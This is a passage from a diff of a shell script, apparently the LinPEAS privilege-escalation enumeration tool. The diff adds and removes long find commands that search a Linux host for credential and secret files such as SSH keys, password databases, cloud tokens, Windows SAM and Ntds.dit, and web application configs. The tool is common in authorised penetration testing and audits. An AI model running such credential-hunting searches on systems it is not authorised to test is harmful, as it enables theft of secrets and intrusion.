-name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"rocketchat.service\" -o -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_TMP=`eval_bckgrd "find /tmp -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"agent*\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_USR=`eval_bckgrd "find /usr -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"ssh*config\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_VAR=`eval_bckgrd "find /var -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \"kube-proxy\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"kubernetes\" -o -name \"system.d\" -o -name \"couchdb\" -o -name \"system-connections\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"kubelet\" -o -name \"ldap\" -o -name \"environments\" -o -name \"pam.d\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"drives.xml\" -o -name \"access.log\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"racoon.conf\" -o -name \"elasticsearch.y*ml\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"agent*\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"exports\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"*knockd*\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter +elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name 